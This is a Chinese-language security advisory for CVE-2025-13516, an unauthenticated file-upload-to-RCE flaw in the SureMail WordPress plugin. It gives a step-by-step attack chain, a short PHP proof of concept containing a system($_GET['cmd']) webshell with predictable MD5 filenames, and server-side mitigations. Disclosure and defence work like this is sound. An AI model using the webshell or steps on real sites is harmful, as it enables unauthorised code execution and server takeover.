IPBUF安全漏洞报告
English
CVE-2025-13516 CVSS 8.1 高危

CVE-2025-13516 WordPress SureMail插件任意文件上传漏洞导致RCE

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-13516
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SureMail – SMTP and Email Logs Plugin for WordPress

相关标签

CVE-2025-13516WordPress插件漏洞任意文件上传远程代码执行SureMail无认证攻击nginx安全Apache配置MD5可预测文件名.htaccess绕过

漏洞概述

SureMail是WordPress的一个SMTP和邮件日志插件,在1.9.0及之前版本中存在严重的任意文件上传漏洞。该漏洞源于inc/emails/handler/uploads.php文件中的save_file()函数,该函数在处理邮件附件时未对文件扩展名和内容类型进行验证,直接将附件复制到web可访问目录wp-content/uploads/suremails/attachments/。更严重的是,文件以MD5哈希值作为文件名,虽然看似随机,但实际上是可预测的。攻击者可以利用任何发送带附件邮件的公开表单(如联系表单、注册表单等)上传恶意PHP文件,然后根据文件内容计算MD5值构造文件名,直接访问该文件即可在服务器上执行任意代码。虽然插件提供了.htaccess文件来阻止PHP执行,但该保护措施仅对正确配置的Apache服务器有效,对nginx、IIS、Lighttpd服务器或配置不当的Apache服务器完全无效。这使得未认证攻击者可以在受影响服务器配置上实现远程代码执行。

技术细节

漏洞存在于插件的inc/emails/handler/uploads.php文件的save_file()函数中。该函数调用时直接使用PHP的copy()或move_uploaded_file()函数将邮件附件保存到wp-content/uploads/suremails/attachments/目录,完全跳过了WordPress的sanitize_file_name()函数和wp_check_filetype()函数的安全检查。文件名生成逻辑使用md5($file_content),即根据文件内容计算MD5值作为文件名,这意味着同一文件内容总是生成相同的文件名,攻击者可以预先计算出文件名。保存文件后,插件尝试通过.htaccess文件设置PHP引擎关闭来阻止代码执行,但这种防护方式存在根本缺陷:1) .htaccess只在Apache服务器且AllowOverride配置正确时生效;2) nginx、IIS、Lighttpd等服务器完全不支持.htaccess;3) 即使Apache服务器,如果AllowOverride设置为None或AllowOverride List无效,.htaccess规则不会被加载。攻击者只需:1) 构造包含恶意PHP代码的附件;2) 通过任意发送邮件的功能触发文件上传;3) 计算附件内容的MD5值得到文件名;4) 通过URL直接访问上传的文件触发代码执行。

攻击链分析

STEP 1
步骤1
构造恶意PHP文件,包含webshell代码(如system($_GET["cmd"]))
STEP 2
步骤2
计算恶意PHP文件内容的MD5哈希值,用于预测上传后的文件名
STEP 3
步骤3
通过目标网站的公开表单(如联系表单、注册表单等)发送包含恶意PHP文件作为附件的邮件
STEP 4
步骤4
插件的save_file()函数将附件复制到wp-content/uploads/suremails/attachments/目录,文件名使用MD5值
STEP 5
步骤5
直接访问http://target.com/wp-content/uploads/suremails/attachments/[md5_hash].php触发PHP代码执行
STEP 6
步骤6
通过URL参数传递系统命令实现远程代码执行,如?cmd=whoami

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-13516 PoC - WordPress SureMail Unrestricted File Upload to RCE // Target: SureMail Plugin <= 1.9.0 // Attack Vector: Upload malicious PHP file via email attachment, then execute via direct access // Step 1: Generate malicious PHP payload $payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'; // Step 2: Calculate predictable MD5 hash (same as plugin's save_file function) $filename = md5($payload) . '.php'; // Step 3: If you have an email sending functionality on the target site, // send an email with this PHP file as attachment through any public form // (contact form, registration, etc.) // Step 4: After upload, the file will be accessible at: $target_url = "http://target.com/wp-content/uploads/suremails/attachments/" . $filename; // Step 5: Execute commands via GET parameter // Example: GET /wp-content/uploads/suremails/attachments/[md5_hash].php?cmd=whoami echo "Target URL: " . $target_url . "\n"; echo "Filename: " . $filename . "\n"; // Alternative: Direct file upload via PHPMailer if you have SMTP credentials // The save_file() function is called when processing email attachments // regardless of whether the email is successfully sent ?>

影响范围

SureMail WordPress Plugin <= 1.9.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在Web服务器配置中禁用/uploads/suremails/attachments/目录的PHP脚本执行(nginx配置:location ~* /wp-content/uploads/suremails/attachments/ { deny all; });2) 将该目录移出webroot或设置为完全不可访问;3) 暂时禁用站点的邮件发送功能;4) 限制文件上传功能仅对管理员开放;5) 部署WAF规则阻止对.php文件的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表